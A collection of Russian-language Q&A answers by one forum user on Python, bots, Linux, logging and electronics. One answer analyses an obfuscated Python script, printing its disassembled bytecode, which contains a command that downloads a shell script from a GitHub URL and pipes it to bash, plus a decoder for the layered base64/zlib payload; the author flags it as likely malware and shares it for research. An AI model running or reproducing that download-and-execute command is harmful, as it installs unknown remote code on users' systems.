• Как автоматически скачивать файл с сайта регулярно?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Чтобы это сделать вам нужно освоить selenium.
    С помощью него можно делать скрипты автоматизации имитирующие действия пользователя в браузере.
    Ответ написан
    Комментировать
  • Как получать нужную мне информацию в боте по расписанию?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    https://dzen.ru/list/gadgets/python-aiogram-schedule
    Вторая ссылка по счету в выдаче гугла.
    Вы сперва приводите варианты, которые рассматривали, и, если сами не смогли определить какой из них лучше, то свои соображения и эти варианты выкладывайте в вопрос. А так это не вопрос а задание на поиск информации в сети.
    Заданиям тут не место. Ищите сами и конкретные вопросы и непонятки задавайте.
    Ответ написан
    1 комментарий
  • Что я делаю не так Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    знатоки, которые подскажут, что я забыл

    Вы забыли изучить особенности работы вашей операционной системы с типами файлов.
    Вам нужно прописать ассоциацию *.py файлов с python.
    Однако в любом случае это странный способ запускать питоновские скрипты. Обычно это делают в консоли через venv.
    Но так как вы хотите тоже можно, конечно. Для очень специфических нужд...
    Гуглите, короче, как прописывать ассоциации файлов в вашей системе.
    Я в винде ничего не делал уже лет 10, не помню где там оно.
    Ответ написан
    Комментировать
  • Linux на SSD рядом с Win10, на внешний HDD или виртуализация?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Я бы посоветовал линукс в виртуальной машине по ряду причин.
    Оговорюсь, что к моей рекомендации нужно отнестись осторожно, поскольку я вообще не пользуюсь виндой уже больше 10 лет, могу плохо представлять ваши юзкейсы.
    Итак, причины.
    - Две операционки нативно поставленные на комп - это лаг при переходе и сниженная мотивация к тому, чтобы что-то лишний раз сделать в менее привычной среде. Вам просто лень будет перезагружаться и терять контекст каждый раз.
    - Приседания с Grub и разными файловыми системами с их спецификой, плохой доступностью объёмов из другой операционки - это лишняя когнитивная нагрузка, которая вас будет путать на ранних этапах освоения новой системы.
    - С другой стороны линукс в виртуальной машине - это практически чистая изолированная система почти без оглядки на виндового "соседа".
    - Мгновенное переключение (если памяти хватает).
    - К минусам можно отнести неудобства, связанные со спец-клавишей для работы в GUI гостевой системы.

    Если вы осваиваете линукс - просто прыгайте как в омут с головой и обвешайтесь кучей проектов, чтоб некогда было играть. А зачем еще в винду? ну может CAD-системы какие, фотошоп...
    Второй вариант - не рассматривайте линукс как ось, где можно жить в гуях, как вы это делаете в винде. Пусть линукс будет местом для бэкенда ваших проектов. Поднимите там облачный офис, файлопомойку с веб-интерфейсом, торрентокачалку, гитлаб с пайплайнами и прочее. Но в таком случае лучше иметь, всё же, отдельный комп, пусть и слабенький. Поставьте его на балкон или антресоль, переключите кулеры на 5 вольт чтобы не шумел, убедитесь, что не перегревается и пользуйтесь почаще, иначе забьёте.
    Ответ написан
    2 комментария
  • Как создать offline карту на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Судя по постановке вопроса и ошибкам в его тексте вам ещё не скоро хватит знаний и опыта для реализации задуманного.
    Нет смысла отвечать подробно на него. Но в общих чертах сделать такой оффлайн навигатор несложно.
    Правда писать его с нуля на чистом питоне тоже никакого смысла нет. Обычно поднимают в докер-контейнерах готовые:
    - постгрес с постгисом
    - osrm
    - тайл-сервар
    - ну и само приложение, которое может быть как бэкенд веб-приложения или написано на том же ткинтере.

    Самое сложное во всём этом - это сконфигурировать все эти сервисы, ну или найти простую инструкцию которая доходчиво расскажет как вытащить необходимые данные из OSM, как настроить рендер тайлов, как сконфигурировать osrm...
    Ответ написан
    Комментировать
  • Как сделать чтобы бот отвечал с вероятностью?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    А в чем проблема? Сгенерите случайное число от 0 до 99. Если число меньше, чем требуемый процент срабатывания, то считаем "сработало", если больше или равно, то нет.
    Ответ написан
    2 комментария
  • Какой бюджетный набор для пайки плат можно собрать?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Нужно наращивать свои знания и опыт постепенно. Сразу не получится, да и вложения на профессиональные сложные инструменты преждевременны при нулевых знаниях и отсутствии опыта.
    Начните с малого. Вот есть видеоблогер (https://alexgyver.ru/), который занимается популяризацией на эту тему. У него на сайте есть наборы для начинающих и полезные статьи по теме.
    Стоит начинать с маленьких простых проектов, а реболлинг и восстановление дорожек на многослойных платах - это довольно сложные темы. Они не для новичков. Двигайтесь к ним постепенно. В ютубе полно обучающих видео, не ограничивайтесь только короткими. Есть видеоуроки пайки, там много полезных приёмов и хитростей открывается.
    Ответ написан
    Комментировать
  • Как пофиксить telebot не отправляет сообщение?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Потому что current_time нигде не меняется в цикле, например. Но тут не весь код, причин ещё может быть даже кроме этой миллион. А эта причина точно делает этот код бесполезным полностью.
    Ответ написан
    3 комментария
  • Как правильно зарядить параллельно 2 AGM аккумулятора?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Первый вариант норм.
    По закону Кирхгофа ток разделяется на оба ваших аккума согласно их сопротивлению, а оно будет пропорционально заряду.
    В общем не парьтесь, удваивайте ток и заряжайте параллельно. Можете, кстати, не удваивать ток, меньшим током будетие заряжать вдвое дольше, но это положительно скажется на ресурсе. Если не критично удвоение времени заряда, то заряжайте меньшим током. То есть второй вариант тоже норм. Третий не рекомендовал бы без балансировки. Зачем вам этот гермор?
    Ответ написан
    Комментировать
  • Существует ли максимально простой и универсальный способ сборки проектов с GitHub в готовый exe?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Репозиторий проекта - это не что-то стандартное. Авторы вольны применять любые процессы и скрипты для сборки. Может когда-то какой-нибудь ЧатЖПТ и сможет "прочитать" ридми ЛЮБОГО проекта и проделать всё необходимое для его сборки, но пока что такой инструмент мало реалистичен. Если разработчик сам не настроил CI/CD в проекте, то никак без него это сейчас не сделать.
    Ответ написан
    Комментировать
  • При запуске Anaconda Navigator возникает OSError Could not find a suitable TLS CA certificate bundle, invalid path. Как пофиксить?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    4-я папка (Anaconda3) существует, но pip.ini в ней нет.

    Так создайте и добавьте в него то, что предлагается в инструкции.
    Ответ написан
    Комментировать
  • Как сделать что бы приложение не детектило Эмулятор GPS?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Есть много признаков по которым можно судить о том, что вы используете фейковые GPS данные.
    Если бы я делал защиту от таких фейковых данных, то я бы делал её не на самом телефоне, а на сервере.
    Я бы анализировал правдоподобность перемещения, обращал бы внимание на "броуновский" дрейф, связанный с неидельной точностью геолокации, учитывал бы форму распределения ошибки.
    Подделка данных геолокации и защита от нее - это гонка брони и пули, тут не может быть финального победителя, и никто вам не скажет критерии, по которым определяется фейковость, иначе эти критерии тут же начнут абьюзить обходя проверку.

    Не понятно какой именно софт для подлога геоданных вы используете. Но даже если было понятно, придётся делать немало исследований критериев по которым можно детектить подлог в каждом конкретном случае.

    Для чего вам это нужно? Нельзя ли решать вашу задачу в рамках добросовестного использования приложения?
    Ответ написан
    1 комментарий
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Один сервер с разными доменами?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Серверу пофиг по какому домену он отвечает. соединение идёт по айпи адресу. Какому адресу соответтсвует тот или иной домен хранится в днс-сервере.
    Можно сколько угодно доменных имен присвоить одному адресу вашего сервера. Дополнительной нагрузки вы от этого никакой не получите.
    Единственное, что для описанной вами задачи важно, это по имени домена чтобы ваш сервер понимал какой контент отдать.
    То есть обращние идет по айпи адресу, но имя домена все же передается в параметрах http-запроса.
    Почитайте как работает HTTP протокол.
    Вот вы можете на любые обращения к вашему серверу отвечать одним и тем же бэкендом, а он по имени домена из запроса будет понимать какой контент отдавать.
    Ответ написан
    2 комментария
  • Как мне правильно настроить TimedRotatingFileHandler?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Проблема тут вот в чем. Ротейтинг логов устроен так, что запись идёт в файл, а потом, когда наступает условие из конфига логгинга (время или размер), файл переименовывается с добавлением даты и времени, а запись идёт в новый чистый файл.
    В линуксе это не вызывает проблемы из-за более совершенной логики работы файловой системы, но вот у вас в винде случается, например, вот что:
    Вы запускаете два (или больше) инстанса джанго, они оба наперебой пишут в файл (если им удаётся), или второй инстанс пытается им завладеть (тут не уверен), а когда наступает время его переименовывать, оказывается, что оригинальный файл захвачен другим процессом.
    Вам стоит писать логи отдельно каждым инстансом в отдельные файлы. Например добавьте в формулу, по которой формируется имя лог-файла номер процесса.
    Либо не выкаблучивайтесь и пишите логи в stdout, не надо засовывать в сервис лишнюю логику. Пусть логи обрабатываются (фильтруются, ротируются) вне процесса.
    Ответ написан
  • Как извлечь аудиодорожку (речь) из большого количества видеофайлов в автоматическом режиме?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    FFmpeg
    Есть отличный биндинг для питона: https://github.com/kkroening/ffmpeg-python
    Можно даже натравить потом на это TTS, который сгенерит субтитры с временнЫми метками, а на них уже натравить какой-нибудь Elasticsearch, чтобы можно было делать текстовый поиск по видосам и быстро находить нужные фрагменты лекций. Если к этому прикрутить ещё и предобученную ламу, то можно будет не изголяться с составлением поискового запроса в таком виде, чтобы он искался по индексу, а задавать вопросы по человечески, лама сама определит тему, найдёт место в лекциях и скинет ссылку на таймкоды где послушать.

    И это будет очередной шаг к протезированию мозга=) Ничего не поделаешь, к этому и идём. Нормальный процесс.
    Ответ написан
    6 комментариев
  • Почему цикл не корректно работает?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сказано же в задании надо граничить цикл 10 итерациями. А вы не ограничиваете. В этом и проблема.
    8*8=64
    6*6+4*4=52
    5*5+2*2=29
    2*2+9*9=85
    8*8+5*5=...
    И так очень и очень долго.
    Ответ написан
    Комментировать
  • Как отправить кубик с нужным мне значением?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    А в чем проблема-то? Вы вообще можете эмоджи в сообщение отправить? Можете.
    Можете отправить конкретное эмоджи? Можете.
    Можете выбрать один символ из шести? Можете.
    В чем проблема?
    я искал способы как это реализовать и по итогу ничего не нашел

    Что именно искал? Какие запросы дела? Не нашел как отправить текст от имени бота? Или не нашел как отправить эмоджи? Такое ощущение, что вы искали готовое решение и даже тут не пытаетесь задавать конкретные вопросы.
    И что смешно, даже в этом виде ваш вопрос, адресованный, например ЧатуЖПТ4 позволит получить детальный ответ с примерами кода.
    Так в чем же проблема? Может стоило идти к фрилансерам?
    Ответ написан
    Комментировать
  • Система команд управления умным выключателем Tuya?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Тоже это в планах настраивать но с Home Assistant, он опенсорсный.
    Вот гляньте этот репозиторий https://github.com/rospogrigio/localtuya
    Просто вспомнил что он у меня давно в закладках лежит, а посмотреть всё некогда.
    Ответ написан
    Комментировать
  • Как определить символ(ы) конца строки в csv?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Зачем?!
    Это не конец строки, это просто пустые столбцы. Конец строки там по абзацу. Зачем вообще вам нужно указывать конец строки как-то особенно? Вы можете потом просто отбросить нужное число элементов из кортежа и всё.
    Ответ написан
    2 комментария